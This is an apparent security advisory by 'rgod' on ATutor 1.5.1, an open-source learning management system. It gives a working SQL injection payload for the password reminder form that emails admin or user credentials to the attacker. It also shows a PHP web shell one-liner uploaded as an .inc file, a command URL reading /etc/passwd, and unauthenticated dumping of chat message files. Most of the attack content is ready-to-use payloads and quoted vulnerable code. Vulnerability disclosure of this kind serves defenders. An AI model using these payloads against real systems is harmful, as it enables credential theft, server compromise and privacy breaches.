ATUTOR 1.5.1 (possibly prior versions)
SQL INJECTION / ADMIN & USERS CREDENTIALS DISCLOSURE / INFORMATION DISCLOSURE /
USER IMPERSONATION / REMOTE CODE EXECUTION

software:

site: https://www.atutor.ca/

description: "ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with
accessibility and adaptability in mind. Administrators can install or update ATutor in minutes, and
develop custom templates to give ATutor a new look. Educators can quickly assemble, package, and redistribute
Web-based instructional content, easily retrieve and import prepackaged content, and conduct their courses online.
Students learn in an adaptive learning environment."


a) if magic_quotes_gpc is off in php.ini - > SQL INJECTION
   without to have an user account, you can use password remider to send yourself admin
   login & password, no need for exploit code:

   go to https://[target]/[path]/password_reminder.php

   and in the email field type:

   ' UNION SELECT login, password, 'your_email@domain.com' FROM AT_admins /*

   look at the vulnerable code in password_reminder.php:

   ...
   $sql="SELECT login, password, email FROM ".TABLE_PREFIX."members WHERE email='$_POST[form_email]'";
   $result = mysql_query($sql,$db);
if ($row = mysql_fetch_assoc($result)) {

$r_login = $row['login'];
$r_passwd= $row['password'];
$r_email = $row['email'];

$tmp_message  = _AT(array('password_request2',$_base_href))."\n\n";
$tmp_message .= _AT('web_site').' : '.$_base_href."\n";
$tmp_message .= _AT('login_name').' : '.$r_login."\n";
$tmp_message .= _AT('password').' : '.$r_passwd."\n";

require(AT_INCLUDE_PATH . 'classes/phpmailer/atutormailer.class.php');

$mail = new ATutorMailer;

$mail->From     = EMAIL;
$mail->AddAddress($r_email);
$mail->Subject = SITE_NAME . ': ' . _AT('password_reminder');
$mail->Body    = $tmp_message;

if(!$mail->Send()) {
   //echo 'There was an error sending the message';
   $msg->printErrors('SENDING_ERROR');
   exit;
}

$msg->addFeedback('PASSWORD_SUCCESS');
   ...

   $_POST[form_email] is not filtered in any way as you can see, so the query become:

   SELECT login, password, email FROM AT_members WHERE email='' UNION SELECT login, password, 'your_email@domain.com' FROM AT_admins /*'

   /* are the Mysql comment chars so this is a valid query

   $r_login and $r_passord are admin user & passord but $r_email is yours! ;)

   also, you can have the password of any user typing:

   ' UNION SELECT login, password, 'your_email@domain.com' FROM AT_members where login='user_whom_you_want_the_password' /*

   if you want to see if your course server is vulnerable just type ' in email field, you will have an error like this:

   Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in
   [pathto]/password_reminder.php on line 27

   if not, you will see a message like this:

   The following errors occurred:
   * No account found with that email address.

b) after you have your stealed admin or educator account (yes, an educator can upload xecutable files :) )
   you can execute arbitrary commands on target system uploading an .inc file (this extension is not checked)
   with php code inside, example:

   <?php error_reporting(0); system($HTTP_GET_VARS[cmd]; ?>

   then you can launch commands, example:

   https://[target]/[path]/atutor/content/2/cmd.inc?cmd=cat%20/etc/passwd

   (usually upload dir is 'content' if admin do not change it, and subdir is numbered by the time registration
    of user, you can quickly bruteforce the url manually)

   look at the list of illegal extensions in config.inc.php:

   ...
   /* Illegal file types, by extension. Include any extensions             */
   /* you do not want to allow for uploading. (Just the extention          */
   /* without the leading dot.)                                            */
   $IllegalExtentions = array('exe','asp','php','php3','bat','cgi','pl','com','vbs','reg','pcd','pif','scr','bas','inf','vb','vbe','wsc','wsf','wsh');
   ...

   but where are .inc, .php4, .phtml, .html, .pwml and so on if you do not set?
   should be better to setup which kind of files you CAN upload...

c) without have an account a user can read chat conversation without to be logged in, making GET requests for
   chat temporary files:

   example:
   https://[target]/[path]/atutor/content/chat/2/msgs/1.message
   https://[target]/[path]/atutor/content/chat/2/msgs/2.message
   https://[target]/[path]/atutor/content/chat/2/msgs/3.message

   ciclyng this GET requests a user can dump all chat archive


rgod
site: https://rgod.altervista.org
mail: retrogod [at] aliceposta.it
original advisory: https://rgod.altervista.org/atutor151.html